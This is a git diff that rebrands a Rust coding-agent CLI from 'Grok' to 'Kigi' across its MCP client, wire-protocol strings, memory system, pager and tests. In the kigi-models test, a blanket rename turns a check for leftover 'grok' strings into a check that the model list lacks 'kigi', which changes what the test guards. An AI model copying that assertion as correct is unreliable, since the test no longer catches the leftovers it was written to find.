@@ -22,7 +22,7 @@ use crate::rmcp::transport::auth::{AuthorizationManager, OAuthClientConfig};
 /// Client name advertised to MCP servers during Dynamic Client Registration
 /// (RFC 7591). Surfaces as the application name on third-party OAuth consent
 /// screens (e.g. Linear, GitHub), so keep this human-recognizable.
-const MCP_OAUTH_CLIENT_NAME: &str = "Grok";
+const MCP_OAUTH_CLIENT_NAME: &str = "Kigi";
 
 /// How often the interactive OAuth flow polls the credential store to detect
 /// a login completed in another window or process.
@@ -31,7 +31,7 @@ const CREDENTIAL_POLL_INTERVAL: std::time::Duration = std::time::Duration::from_
 // ---------------------------------------------------------------------------
 // Two-layer dedup: prevents duplicate browser tabs both within one process
 // (multiple async tasks / sessions) and across separate processes (leader
-// mode disabled, multiple `grok` invocations).
+// mode disabled, multiple `kigi` invocations).
 //
 // Layer 1 (cross-process): filesystem lock at $KIGI_SHARE_DIR/mcp_auth_{safe_name}.lock
 // Layer 2 (in-process):    watch channel so only one task runs the flow
diff --git a/crates/codegen/kigi-mcp/src/servers.rs b/crates/codegen/kigi-mcp/src/servers.rs
index 13ccde5..22ffe2d 100644
--- a/crates/codegen/kigi-mcp/src/servers.rs
+++ b/crates/codegen/kigi-mcp/src/servers.rs
@@ -310,10 +310,10 @@ impl InitProgress {
 }
 
 /// One in-process SDK MCP server registration: its tool-namespace name and the
-/// SDK-side id echoed back in `x.ai/mcp/sdk_call`. A named struct (rather than a
+/// SDK-side id echoed back in `kigi/mcp/sdk_call`. A named struct (rather than a
 /// `(String, String)` tuple) so callers can't transpose the two strings.
 ///
-/// `Deserialize`d straight from a `_meta["x.ai/mcp/servers"]` entry, so the
+/// `Deserialize`d straight from a `_meta["kigi/mcp/servers"]` entry, so the
 /// `serverId` wire field name is declared (and serde-checked) exactly once here.
 #[derive(Debug, Clone, serde::Deserialize)]
 pub struct AcpServerEntry {
@@ -322,7 +322,7 @@ pub struct AcpServerEntry {
     pub server_id: String,
 }
 
-/// The session's in-process SDK MCP servers (declared via `_meta["x.ai/mcp/servers"]`,
+/// The session's in-process SDK MCP servers (declared via `_meta["kigi/mcp/servers"]`,
 /// reached over the ACP reverse channel), bundled with the shared reverse-RPC invoker.
 /// Held as `McpState::acp_mcp: Option<_>` so the set is one atom — present together or
 /// absent, never "servers without an invoker" — and survives `update_configs` clears
@@ -332,7 +332,7 @@ struct AcpMcpRegistry {
     /// Registered servers (`name -> serverId`).
     servers: Vec<AcpServerEntry>,
     /// Shared reverse-RPC invoker all these servers' tools are called through (emits
-    /// `x.ai/mcp/sdk_call` over the ACP connection).
+    /// `kigi/mcp/sdk_call` over the ACP connection).
     invoker: Arc<dyn crate::acp_transport::AcpReverseInvoker>,
 }
 
@@ -381,7 +381,7 @@ pub struct McpState {
     /// task.  When `Some`, the state — and every [`McpClient`] reached
     /// through [`Self::all_clients`] / [`Self::get_client`] — forwards
     /// [`McpClientEvent`]s here for coalescing and fan-out as ACP
-    /// `x.ai/mcp/server_status` notifications.
+    /// `kigi/mcp/server_status` notifications.
     ///
     /// Intentionally `None` in subagent-pool / shared-pool snapshots
     /// ([`SharedMcpPool`]) where the **parent** session is the
@@ -441,7 +441,7 @@ impl McpState {
     /// [`McpClient::set_event_tx`] **before**
     /// `get_tool_registrations` (so `ensure_initialized`'s
     /// `Ready`/`HandshakeFailed` emit fires with `Some(tx)` and the
-    /// `GrokClientHandler` cloned during `try_handshake` reads
+    /// `KigiClientHandler` cloned during `try_handshake` reads
     /// through the same Arc).
     pub fn set_client_event_tx(
         &mut self,
@@ -1219,8 +1219,8 @@ pub struct McpTool {
 ///   so the LLM can invoke them during a conversation.
 /// - **App-visible only** (`["app"]`): not registered in `ToolBridge`, so the LLM
 ///   never sees them. These are UI-only actions (e.g. refresh buttons) surfaced to
-///   the frontend via `x.ai/mcp/tools_changed` notifications and callable via
-///   `x.ai/mcp/call`.
+///   the frontend via `kigi/mcp/tools_changed` notifications and callable via
+///   `kigi/mcp/call`.
 pub struct McpToolRegistration {
     pub name: String,
     pub description: String,
@@ -2201,7 +2201,7 @@ enum PendingTransport {
         auth_manager: Arc<tokio::sync::Mutex<rmcp::transport::auth::AuthorizationManager>>,
     },
     /// In-process SDK MCP server reached over the ACP reverse channel
-    /// (`x.ai/mcp/sdk_call`). Rebuildable from its `server_id` + invoker, so handshake
+    /// (`kigi/mcp/sdk_call`). Rebuildable from its `server_id` + invoker, so handshake
     /// failures restore like Http (unlike the consumed Stdio child).
     Acp {
         server_id: String,
@@ -2210,14 +2210,14 @@ enum PendingTransport {
 }
 
 /// A connected MCP service (rmcp's RunningService wrapped in Arc).
-/// Uses [`GrokClientHandler`] rather than rmcp's default `ClientInfo`
+/// Uses [`KigiClientHandler`] rather than rmcp's default `ClientInfo`
 /// handler: rmcp 2.1 parameterizes `RunningService` over the handler
 /// type, and `ClientInfo` is only a `ClientHandler` impl with no
 /// notification routing. The custom handler keeps the same protocol
 /// behavior (same `get_info`) while plumbing
 /// `tools/list_changed` / `resources/list_changed` notifications
 /// through to the session-actor dispatcher.
-pub type McpService = Arc<RunningService<RoleClient, GrokClientHandler>>;
+pub type McpService = Arc<RunningService<RoleClient, KigiClientHandler>>;
 
 /// MCP client connection state machine.
 ///
@@ -2290,13 +2290,13 @@ pub enum LivenessCheck {
 /// 1. [`crate::liveness::spawn_transport_liveness`] when an `is_healthy`
 ///    poll observes that the rmcp service loop has shut down its receiver
 ///    (`TransportClosed`).
-/// 2. [`GrokClientHandler`] when the server pushes a notification we
+/// 2. [`KigiClientHandler`] when the server pushes a notification we
 ///    care about — currently `notifications/tools/list_changed` and
 ///    `notifications/resources/list_changed`.
 /// 3. The session/managed-config layer when a server is added, removed,
 ///    or successfully (re-)initialized.
 ///
-/// Consumers fan these out to ACP `x.ai/mcp/server_status` after 50 ms
+/// Consumers fan these out to ACP `kigi/mcp/server_status` after 50 ms
 /// of tumbling-window coalescing keyed by `(server, kind)`; see the
 /// session-actor `StatusDispatcher`.
 #[derive(Debug, Clone)]
@@ -2527,7 +2527,7 @@ pub struct McpClient {
     ///
     /// The slot is `Some` after [`Self::set_event_tx`] is called and
     /// `None` otherwise. The `Arc<Mutex<...>>` is **shared with
-    /// [`GrokClientHandler`]** constructed by
+    /// [`KigiClientHandler`]** constructed by
     /// [`Self::make_client_handler`]: the handler holds a clone of
     /// the same Arc and reads through it on every notification.
     /// Snapshotting the slot at handshake time instead would mean any
@@ -2569,7 +2569,7 @@ pub struct McpClient {
 }
 
 /// Shared sender slot type — the same Arc lives on the [`McpClient`]
-/// and the [`GrokClientHandler`] it constructs during
+/// and the [`KigiClientHandler`] it constructs during
 /// [`McpClient::try_handshake`]. Mutating the slot via
 /// [`McpClient::set_event_tx`] is observed by the live rmcp service
 /// loop on the next notification, so there's no "snapshot at
@@ -3026,7 +3026,7 @@ impl McpClient {
     }
 
     /// Build a client for an in-process SDK MCP server reached over the ACP reverse
-    /// channel. `server_id` is the id the agent echoes back in `x.ai/mcp/sdk_call`; the
+    /// channel. `server_id` is the id the agent echoes back in `kigi/mcp/sdk_call`; the
     /// `invoker` performs the reverse request. Same downstream path as HTTP/stdio.
     pub fn new_acp(
         server_name: String,
@@ -3350,7 +3350,7 @@ impl McpClient {
     async fn try_handshake(
         &self,
         pending: PendingTransport,
-    ) -> Result<rmcp::service::RunningService<RoleClient, GrokClientHandler>, McpError> {
+    ) -> Result<rmcp::service::RunningService<RoleClient, KigiClientHandler>, McpError> {
         let timeout = std::time::Duration::from_secs(self.startup_timeout_sec);
         let name = &self.server_name;
 
@@ -3431,7 +3431,7 @@ impl McpClient {
                     })
             }
             PendingTransport::Acp { server_id, invoker } => {
-                // Per-reverse-call backstop on `x.ai/mcp/sdk_call`: the larger of the
+                // Per-reverse-call backstop on `kigi/mcp/sdk_call`: the larger of the
                 // startup and tool timeouts, so it never undercuts the real outer bound
                 // (the handshake `initialize` is bounded by the serve `timeout` below;
                 // tool calls by `tool_timeout_for` in `try_call_tool`). The bridge
@@ -3468,7 +3468,7 @@ impl McpClient {
         ClientInfo::new(
             capabilities,
             Implementation::new(
-                format!("grok-shell-{server_name}"),
+                format!("kigi-shell-{server_name}"),
                 kigi_version::VERSION.to_string(),
             ),
         )
@@ -3478,14 +3478,14 @@ impl McpClient {
         .with_protocol_version(rmcp::model::ProtocolVersion::V_2025_06_18)
     }
 
-    /// Build the [`GrokClientHandler`] that drives `client.serve(...)`.
+    /// Build the [`KigiClientHandler`] that drives `client.serve(...)`.
     ///
     /// The handler holds a **clone of `Arc<Mutex<Option<Sender>>>`**,
     /// not a snapshot — so any subsequent call to
     /// [`Self::set_event_tx`] is observed by the live rmcp service
     /// loop on its next notification.
-    fn make_client_handler(&self) -> GrokClientHandler {
-        GrokClientHandler {
+    fn make_client_handler(&self) -> KigiClientHandler {
+        KigiClientHandler {
             info: Self::make_client_info(&self.server_name),
             server_name: self.server_name.clone(),
             notify_tx: Arc::clone(&self.notify_tx),
@@ -3495,7 +3495,7 @@ impl McpClient {
     /// Wire a sender for [`McpClientEvent`]s emitted by this client.
     ///
     /// Mutates the shared slot synchronously. All previously-cloned
-    /// references (the [`GrokClientHandler`] handed to
+    /// references (the [`KigiClientHandler`] handed to
     /// `client.serve`, the [`crate::liveness::spawn_transport_liveness`]
     /// task) read through the same Arc, so this is observed
     /// session-wide on the next event.
@@ -4027,7 +4027,7 @@ fn ensure_figma_user_agent(headers: &mut reqwest::header::HeaderMap, server_name
     }
     headers.insert(
         reqwest::header::USER_AGENT,
-        reqwest::header::HeaderValue::from_static("grok-cli"),
+        reqwest::header::HeaderValue::from_static("kigi-cli"),
     );
 }
 
@@ -4297,7 +4297,7 @@ impl McpClient {
 /// Plumbs server-pushed notifications through an
 /// [`tokio::sync::mpsc::UnboundedSender<McpClientEvent>`] so the
 /// session-actor dispatcher can fan them out as ACP
-/// `x.ai/mcp/server_status` events.
+/// `kigi/mcp/server_status` events.
 ///
 /// ## RPIT, not `#[async_trait]`
 ///
@@ -4322,7 +4322,7 @@ impl McpClient {
 /// send fails silently; rmcp must not see an error from a
 /// notification handler or the service loop tears down.
 #[derive(Debug)]
-pub struct GrokClientHandler {
+pub struct KigiClientHandler {
     /// Static `ClientInfo` returned by [`Self::get_info`]; built once
     /// at handshake time and stored to avoid re-allocating per call.
     info: ClientInfo,
@@ -4337,7 +4337,7 @@ pub struct GrokClientHandler {
     notify_tx: SharedEventTx,
 }
 
-impl GrokClientHandler {
+impl KigiClientHandler {
     /// Best-effort event emit. Reads the shared `notify_tx` slot on
     /// every call (so the handler picks up any post-handshake wiring
     /// done by [`McpClient::set_event_tx`]). Drops the send error: if
@@ -4352,13 +4352,13 @@ impl GrokClientHandler {
     }
 }
 
-impl ClientHandler for GrokClientHandler {
+impl ClientHandler for KigiClientHandler {
     // NOTE: `async fn` here is sugar for the trait's
     // `-> impl Future<Output = ()> + Send + '_`. We INTENTIONALLY do
     // not use `#[async_trait]` — rmcp 2.1's `ClientHandler` declares
     // its notification methods as return-position `impl Future`, and
     // async_trait would produce a different (incompatible) signature.
-    // See the [`GrokClientHandler`] doc-comment for the full RPIT
+    // See the [`KigiClientHandler`] doc-comment for the full RPIT
     // contract.
     async fn on_tool_list_changed(&self, _context: NotificationContext<RoleClient>) {
         self.emit(McpClientEvent::ToolsChanged {
@@ -4510,19 +4510,19 @@ mod tests {
     }
 
     #[test]
-    fn ensure_figma_user_agent_sets_grok_cli_when_missing() {
+    fn ensure_figma_user_agent_sets_kigi_cli_when_missing() {
         let mut headers = reqwest::header::HeaderMap::new();
         ensure_figma_user_agent(&mut headers, "figma", "https://mcp.figma.com/mcp");
         assert_eq!(
             headers.get(reqwest::header::USER_AGENT).unwrap(),
-            "grok-cli"
+            "kigi-cli"
         );
 
         let mut host_only = reqwest::header::HeaderMap::new();
         ensure_figma_user_agent(&mut host_only, "other", "https://mcp.figma.com/mcp");
         assert_eq!(
             host_only.get(reqwest::header::USER_AGENT).unwrap(),
-            "grok-cli"
+            "kigi-cli"
         );
     }
 
@@ -6671,7 +6671,7 @@ mod tests {
                     }
                 }
             });
-            let handler = GrokClientHandler {
+            let handler = KigiClientHandler {
                 info: McpClient::make_client_info("dead"),
                 server_name: "dead".to_string(),
                 notify_tx: Arc::new(parking_lot::Mutex::new(None)),
@@ -7395,7 +7395,7 @@ mod tests {
         );
     }
 
-    // -- GrokClientHandler --------------------------------------
+    // -- KigiClientHandler --------------------------------------
     //
     // The handler's notification routing is the only behavior worth
     // unit-testing here; `get_info` is a literal `info.clone()` and
@@ -7409,7 +7409,7 @@ mod tests {
     #[tokio::test]
     async fn client_handler_routes_tools_changed() {
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel::<McpClientEvent>();
-        let handler = GrokClientHandler {
+        let handler = KigiClientHandler {
             info: McpClient::make_client_info("test"),
             server_name: "test".to_string(),
             notify_tx: Arc::new(parking_lot::Mutex::new(Some(tx))),
@@ -7429,7 +7429,7 @@ mod tests {
     /// must not panic.
     #[tokio::test]
     async fn client_handler_no_dispatcher_is_silent() {
-        let handler = GrokClientHandler {
+        let handler = KigiClientHandler {
             info: McpClient::make_client_info("test"),
             server_name: "test".to_string(),
             notify_tx: Arc::new(parking_lot::Mutex::new(None)),
@@ -7444,7 +7444,7 @@ mod tests {
     #[tokio::test]
     async fn client_handler_get_info_round_trips() {
         let info = McpClient::make_client_info("test-srv");
-        let handler = GrokClientHandler {
+        let handler = KigiClientHandler {
             info: info.clone(),
             server_name: "test-srv".to_string(),
             notify_tx: Arc::new(parking_lot::Mutex::new(None)),
diff --git a/crates/codegen/kigi-mcp/src/wire.rs b/crates/codegen/kigi-mcp/src/wire.rs
index 34eb25d..d569d82 100644
--- a/crates/codegen/kigi-mcp/src/wire.rs
+++ b/crates/codegen/kigi-mcp/src/wire.rs
@@ -1,27 +1,27 @@
-//! Single source of truth for the `x.ai/mcp/*` ACP wire strings.
+//! Single source of truth for the `kigi/mcp/*` ACP wire strings.
 //!
 //! These method/`_meta` keys are part of the cross-language MCP-over-ACP
 //! protocol the SDK speaks (mirrors the SDK's `_mcp_wire.py` / `mcpWire.ts`).
 //! Reference these constants instead of re-typing the literals so the agent and
 //! SDK can't drift apart.
 
-/// Forward tool-invocation method (client -> agent): `x.ai/mcp/call`.
+/// Forward tool-invocation method (client -> agent): `kigi/mcp/call`.
 ///
 /// The pager/client asks the agent to invoke an MCP tool on a server the agent is
 /// connected to, outside the LLM loop. See `extensions::mcp::handle_call`.
-pub const MCP_CALL: &str = "x.ai/mcp/call";
+pub const MCP_CALL: &str = "kigi/mcp/call";
 
-/// Reverse zero-IPC tool-invocation method (agent -> client): `x.ai/mcp/sdk_call`.
+/// Reverse zero-IPC tool-invocation method (agent -> client): `kigi/mcp/sdk_call`.
 ///
 /// The agent invokes a tool that lives in the SDK's in-process MCP server by sending
 /// the MCP JSON-RPC message back to the client over the ACP reverse channel. Distinct
 /// from [`MCP_CALL`] so the two disjoint schemas don't share a method string for
 /// metrics/tracing. See the agent-side ACP invoker that handles this method.
-pub const MCP_SDK_CALL: &str = "x.ai/mcp/sdk_call";
+pub const MCP_SDK_CALL: &str = "kigi/mcp/sdk_call";
 
-/// `session/new` `_meta` key listing in-process SDK MCP servers: `x.ai/mcp/servers`.
-pub const MCP_SERVERS: &str = "x.ai/mcp/servers";
+/// `session/new` `_meta` key listing in-process SDK MCP servers: `kigi/mcp/servers`.
+pub const MCP_SERVERS: &str = "kigi/mcp/servers";
 
 /// `initialize` `_meta` capability flag advertising in-process SDK MCP support
-/// (enables the SDK's `transport="acp"`): `x.ai/mcp/sdk`.
-pub const MCP_SDK: &str = "x.ai/mcp/sdk";
+/// (enables the SDK's `transport="acp"`): `kigi/mcp/sdk`.
+pub const MCP_SDK: &str = "kigi/mcp/sdk";
diff --git a/crates/codegen/kigi-memory/src/embedding.rs b/crates/codegen/kigi-memory/src/embedding.rs
index 8066d47..df3a071 100644
--- a/crates/codegen/kigi-memory/src/embedding.rs
+++ b/crates/codegen/kigi-memory/src/embedding.rs
@@ -139,7 +139,7 @@ impl EmbeddingProvider for ApiEmbeddingProvider {
                 let request = kigi_http::shared_client()
                     .post(format!("{}/embeddings", self.api_base))
                     .json(&body_json)
-                    .header("x-grok-client-version", kigi_version::VERSION);
+                    .header("x-kigi-client-version", kigi_version::VERSION);
 
                 let req = match request.build() {
                     Ok(r) => r,
diff --git a/crates/codegen/kigi-memory/src/index.rs b/crates/codegen/kigi-memory/src/index.rs
index 7b5ab42..afd12e5 100644
--- a/crates/codegen/kigi-memory/src/index.rs
+++ b/crates/codegen/kigi-memory/src/index.rs
@@ -472,7 +472,7 @@ impl MemoryIndex {
     ///
     /// An empty string means no claim is active.  A non-empty claim means
     /// a session currently owns the reindex lock (or a crashed session left
-    /// a stale one).  Used by `grok memory doctor` to detect stuck states.
+    /// a stale one).  Used by `kigi memory doctor` to detect stuck states.
     pub fn get_reindex_claim(&self) -> String {
         self.db
             .query_row(
@@ -485,7 +485,7 @@ impl MemoryIndex {
 
     /// Return all distinct file paths that have at least one indexed chunk.
     ///
-    /// Used by `grok memory doctor` to detect orphaned chunks (chunks whose
+    /// Used by `kigi memory doctor` to detect orphaned chunks (chunks whose
     /// source file has since been deleted).
     pub fn all_indexed_paths(&self) -> Result<Vec<String>, rusqlite::Error> {
         let mut stmt = self
@@ -1179,13 +1179,13 @@ mod tests {
     ///
     /// 1. Index a file.
     /// 2. Delete the file from disk (simulates a user removing a session log).
-    /// 3. Run the same orphan-removal logic as `grok memory reindex`:
+    /// 3. Run the same orphan-removal logic as `kigi memory reindex`:
     ///    compare `all_indexed_paths()` against current files and call
     ///    `delete_path()` for paths that no longer exist.
     /// 4. Verify the stale chunks are gone and are no longer searchable.
     ///
-    /// This proves that `grok memory reindex`'s Phase 1 actually fixes the
-    /// state that `grok memory doctor` warns about.
+    /// This proves that `kigi memory reindex`'s Phase 1 actually fixes the
+    /// state that `kigi memory doctor` warns about.
     #[test]
     fn test_reindex_maintenance_removes_orphaned_chunks() {
         let tmp = TempDir::new().unwrap();
@@ -1206,7 +1206,7 @@ mod tests {
         // Delete the file — now it is orphaned in the index.
         std::fs::remove_file(&file).unwrap();
 
-        // Simulate `grok memory reindex` Phase 1: compare indexed vs current.
+        // Simulate `kigi memory reindex` Phase 1: compare indexed vs current.
         let current: std::collections::BTreeSet<String> = vec![].into_iter().collect(); // empty = no files
         let indexed = idx.all_indexed_paths().unwrap();
         for path in &indexed {
@@ -1225,7 +1225,7 @@ mod tests {
 
     /// A fresh (non-stale) reindex claim blocks `try_claim_reindex`.
     ///
-    /// Verifies that `grok memory reindex` Phase 0 correctly bails when a
+    /// Verifies that `kigi memory reindex` Phase 0 correctly bails when a
     /// live session holds a fresh claim — i.e., the CLI cannot steal a live
     /// session's lock and then mutate the index concurrently.
     #[test]
@@ -1256,10 +1256,10 @@ mod tests {
         idx.release_claim();
     }
 
-    /// `grok memory reindex` Phase 3 resets the stale reindex claim.
+    /// `kigi memory reindex` Phase 3 resets the stale reindex claim.
     ///
     /// Verifies that `release_claim()` clears `meta.reindex_claim` so that
-    /// `grok memory doctor` no longer reports a stale lock after reindex runs.
+    /// `kigi memory doctor` no longer reports a stale lock after reindex runs.
     #[test]
     fn test_reindex_maintenance_resets_stale_claim() {
         let tmp = TempDir::new().unwrap();
@@ -1274,7 +1274,7 @@ mod tests {
             "claim must be set before Phase 3"
         );
 
-        // Simulate `grok memory reindex` Phase 3: release the claim.
+        // Simulate `kigi memory reindex` Phase 3: release the claim.
         idx.release_claim();
 
         assert_eq!(
diff --git a/crates/codegen/kigi-memory/src/lib.rs b/crates/codegen/kigi-memory/src/lib.rs
index 02245b3..e3108cd 100644
--- a/crates/codegen/kigi-memory/src/lib.rs
+++ b/crates/codegen/kigi-memory/src/lib.rs
@@ -1,7 +1,7 @@
 //! Memory system for cross-session knowledge persistence.
 //!
 //! This crate provides a markdown-based memory storage layer that allows
-//! Grok to persist important information across sessions. Memory files are
+//! Kigi to persist important information across sessions. Memory files are
 //! stored under `~/.kigi/memory/` with workspace-scoped subdirectories
 //! keyed by a blake3 hash of the workspace path.
 //!
diff --git a/crates/codegen/kigi-memory/src/search.rs b/crates/codegen/kigi-memory/src/search.rs
index b2814fc..68fb536 100644
--- a/crates/codegen/kigi-memory/src/search.rs
+++ b/crates/codegen/kigi-memory/src/search.rs
@@ -1076,7 +1076,7 @@ mod tests {
     /// newline. Kept in sync with that source.
     const GLOBAL_STUB: &str = "# Global Memory\n\
          \n\
-         > This file is automatically managed by Grok's memory system.\n\
+         > This file is automatically managed by Kigi's memory system.\n\
          > You can also edit it manually — changes will be indexed on next session.\n\
          \n\
          ## Preferences\n\
diff --git a/crates/codegen/kigi-memory/src/storage.rs b/crates/codegen/kigi-memory/src/storage.rs
index 448c9cc..05a6bdf 100644
--- a/crates/codegen/kigi-memory/src/storage.rs
+++ b/crates/codegen/kigi-memory/src/storage.rs
@@ -366,7 +366,7 @@ impl MemoryStorage {
                 &global_file,
                 "# Global Memory\n\
                  \n\
-                 > This file is automatically managed by Grok's memory system.\n\
+                 > This file is automatically managed by Kigi's memory system.\n\
                  > You can also edit it manually — changes will be indexed on next session.\n\
                  \n\
                  ## Preferences\n\
diff --git a/crates/codegen/kigi-mermaid/assets/Roboto-LICENSE.txt b/crates/codegen/kigi-mermaid/assets/Roboto-LICENSE.txt
index 2c3ec0f..ce457de 100644
--- a/crates/codegen/kigi-mermaid/assets/Roboto-LICENSE.txt
+++ b/crates/codegen/kigi-mermaid/assets/Roboto-LICENSE.txt
@@ -1,7 +1,7 @@
 Roboto-Regular.ttf
 Copyright 2011 Google Inc. All Rights Reserved.
 
-This font is bundled (via include_bytes!) into the distributed Grok CLI binary
+This font is bundled (via include_bytes!) into the distributed Kigi CLI binary
 and is redistributed under the Apache License, Version 2.0 (below). It is used as
 a deterministic fallback face so diagram text metrics do not depend on system
 fonts. Retain this notice alongside the font when redistributing.
diff --git a/crates/codegen/kigi-mermaid/src/lib.rs b/crates/codegen/kigi-mermaid/src/lib.rs
index 07d3c0e..27c0eef 100644
--- a/crates/codegen/kigi-mermaid/src/lib.rs
+++ b/crates/codegen/kigi-mermaid/src/lib.rs
@@ -64,10 +64,10 @@ use std::sync::Arc;
 /// relevant to diagram rendering.
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
 pub enum MermaidTheme {
-    /// Light surfaces with dark text (e.g. `GrokDay`).
+    /// Light surfaces with dark text (e.g. `KigiDay`).
     #[default]
     Light,
-    /// Dark surfaces with light text (e.g. `GrokNight`, `TokyoNight`).
+    /// Dark surfaces with light text (e.g. `KigiNight`, `TokyoNight`).
     Dark,
 }
 
diff --git a/crates/codegen/kigi-models/src/lib.rs b/crates/codegen/kigi-models/src/lib.rs
index eeb7fde..a3a75a6 100644
--- a/crates/codegen/kigi-models/src/lib.rs
+++ b/crates/codegen/kigi-models/src/lib.rs
@@ -608,7 +608,7 @@ mod tests {
         // Aux models fall back to the default (no dedicated entries).
         assert_eq!(default_image_description_model(), "kimi-for-coding");
         assert_eq!(default_session_summary_model(), "kimi-for-coding");
-        // No grok remnants in the embedded fallback.
-        assert!(!DEFAULT_MODELS_JSON.contains("grok"));
+        // No kigi remnants in the embedded fallback.
+        assert!(!DEFAULT_MODELS_JSON.contains("kigi"));
     }
 }
diff --git a/crates/codegen/kigi-pager-minimal/Cargo.toml b/crates/codegen/kigi-pager-minimal/Cargo.toml
index 3ff8f5b..ced4790 100644
--- a/crates/codegen/kigi-pager-minimal/Cargo.toml
+++ b/crates/codegen/kigi-pager-minimal/Cargo.toml
@@ -24,7 +24,7 @@ kigi-tui = { path = "../kigi-tui" }
 # Rendering primitives (must match the pager's versions).
 ratatui = { workspace = true, features = ["crossterm", "unstable-widget-ref"] }
 crossterm = { workspace = true, features = ["event-stream", "bracketed-paste"] }
-# Transcript temp-file names (`grok-transcript-<uuid>.ansi`).
+# Transcript temp-file names (`kigi-transcript-<uuid>.ansi`).
 uuid = { workspace = true, features = ["v4"] }
 tracing = { workspace = true }
 
diff --git a/crates/codegen/kigi-pager-minimal/src/full_view.rs b/crates/codegen/kigi-pager-minimal/src/full_view.rs
index 9643421..94946d5 100644
--- a/crates/codegen/kigi-pager-minimal/src/full_view.rs
+++ b/crates/codegen/kigi-pager-minimal/src/full_view.rs
@@ -133,7 +133,7 @@ fn finish_transcript(app: &mut AppView, id: kigi_tui::app::agent::AgentId, out:
         }
         return;
     }
-    let path = std::env::temp_dir().join(format!("grok-transcript-{}.ansi", uuid::Uuid::new_v4()));
+    let path = std::env::temp_dir().join(format!("kigi-transcript-{}.ansi", uuid::Uuid::new_v4()));
     match std::fs::write(&path, out) {
         Ok(()) => {
             app.pending_pager_path = Some(path);
diff --git a/crates/codegen/kigi-pager-minimal/src/lib.rs b/crates/codegen/kigi-pager-minimal/src/lib.rs
index 04ce025..d96665f 100644
--- a/crates/codegen/kigi-pager-minimal/src/lib.rs
+++ b/crates/codegen/kigi-pager-minimal/src/lib.rs
@@ -1,4 +1,4 @@
-//! Minimal (scrollback-native) render mode — `grok --minimal`.
+//! Minimal (scrollback-native) render mode — `kigi --minimal`.
 //!
 //! In this mode finalized conversation blocks are printed once into the
 //! terminal's *native* scrollback (via `kigi_ratatui_inline::Terminal::insert_before`,
diff --git a/crates/codegen/kigi-pager-minimal/src/welcome.rs b/crates/codegen/kigi-pager-minimal/src/welcome.rs
index b50ed9a..0786aa3 100644
--- a/crates/codegen/kigi-pager-minimal/src/welcome.rs
+++ b/crates/codegen/kigi-pager-minimal/src/welcome.rs
@@ -72,7 +72,7 @@ pub fn maybe_commit_welcome(app: &mut AppView, terminal: &mut PagerTerminal) {
     let mut info: Vec<Line<'static>> = Vec::new();
     info.push(Line::from(vec![
         Span::styled(
-            "Grok Build",
+            "Kigi",
             Style::default()
                 .fg(theme.accent_user)
                 .add_modifier(Modifier::BOLD),
diff --git a/crates/codegen/kigi-pager-pty-harness/benches/paste_latency.rs b/crates/codegen/kigi-pager-pty-harness/benches/paste_latency.rs
index 6764292..3d4cccd 100644
--- a/crates/codegen/kigi-pager-pty-harness/benches/paste_latency.rs
+++ b/crates/codegen/kigi-pager-pty-harness/benches/paste_latency.rs
@@ -26,7 +26,7 @@
 //!
 //! # Compare an old release artifact, text mode only, JSON to a file:
 //! cargo bench -p kigi-pager-pty-harness --bench paste_latency -- \
-//!   --binary ~/Downloads/grok-old --mode text --json /tmp/paste-old.json
+//!   --binary ~/Downloads/kigi-old --mode text --json /tmp/paste-old.json
 //! ```
 
 use std::path::{Path, PathBuf};
diff --git a/crates/codegen/kigi-pager-pty-harness/benches/pty_bench.rs b/crates/codegen/kigi-pager-pty-harness/benches/pty_bench.rs
index dc6c2ca..8a96fb3 100644
--- a/crates/codegen/kigi-pager-pty-harness/benches/pty_bench.rs
+++ b/crates/codegen/kigi-pager-pty-harness/benches/pty_bench.rs
@@ -21,7 +21,7 @@
 //!
 //! Run every scenario in CI and fail on >15% p99 regression:
 //! ```bash
-//! PAGER_BINARY=./artifacts/grok-${VERSION}-linux-x86_64 \
+//! PAGER_BINARY=./artifacts/kigi-${VERSION}-linux-x86_64 \
 //!   cargo bench -p kigi-pager-pty-harness \
 //!   --bench pty_bench -- --all \
 //!   --baseline benches/pty_baselines/linux-x86_64.json
diff --git a/crates/codegen/kigi-pager-pty-harness/src/bin/pty_scenario.rs b/crates/codegen/kigi-pager-pty-harness/src/bin/pty_scenario.rs
index d88bd13..4518ec7 100644
--- a/crates/codegen/kigi-pager-pty-harness/src/bin/pty_scenario.rs
+++ b/crates/codegen/kigi-pager-pty-harness/src/bin/pty_scenario.rs
@@ -20,7 +20,7 @@ struct Cli {
     #[arg(long, value_name = "PATH")]
     scenario: PathBuf,
 
-    /// Pager binary. Defaults to PAGER_BINARY, CARGO_BIN_EXE_kigi-tui,
+    /// Pager binary. Defaults to PAGER_BINARY, CARGO_BIN_EXE_kigi,
     /// or a locally-built debug binary.
     #[arg(long, value_name = "PATH")]
     binary: Option<PathBuf>,
diff --git a/crates/codegen/kigi-pager-pty-harness/src/bin/scroll_matrix.rs b/crates/codegen/kigi-pager-pty-harness/src/bin/scroll_matrix.rs
index ea33294..f72e17e 100644
--- a/crates/codegen/kigi-pager-pty-harness/src/bin/scroll_matrix.rs
+++ b/crates/codegen/kigi-pager-pty-harness/src/bin/scroll_matrix.rs
@@ -53,7 +53,7 @@ struct Cli {
     #[arg(long, value_name = "DIR", default_value = "target/scroll-matrix")]
     artifacts: PathBuf,
 
-    /// Pager binary. Defaults to PAGER_BINARY, CARGO_BIN_EXE_kigi-tui,
+    /// Pager binary. Defaults to PAGER_BINARY, CARGO_BIN_EXE_kigi,
     /// or a locally-built debug binary.
     #[arg(long, value_name = "PATH")]
     binary: Option<PathBuf>,
diff --git a/crates/codegen/kigi-pager-pty-harness/src/content.rs b/crates/codegen/kigi-pager-pty-harness/src/content.rs
index ffdf840..1cf0520 100644
--- a/crates/codegen/kigi-pager-pty-harness/src/content.rs
+++ b/crates/codegen/kigi-pager-pty-harness/src/content.rs
@@ -92,6 +92,11 @@ impl ContentController {
             ("KIGI_SHARE_DIR".into(), kigi_home),
             ("KIGI_CODE_BASE_URL".into(), self.url()),
             ("KIGI_API_BASE_URL".into(), self.url()),
+            // Hermeticity: bundled open-platform (moonshot) model entries
+            // carry real platform base URLs; the documented dev/test override
+            // pins them to the mock so no PTY test can reach a live endpoint.
+            ("KIGI_MOONSHOT_CN_BASE_URL".into(), self.url()),
+            ("KIGI_MOONSHOT_AI_BASE_URL".into(), self.url()),
             ("XAI_API_KEY".into(), "test-key-for-ci".into()),
             ("KIGI_TELEMETRY_ENABLED".into(), "false".into()),
             ("KIGI_FEEDBACK_ENABLED".into(), "false".into()),
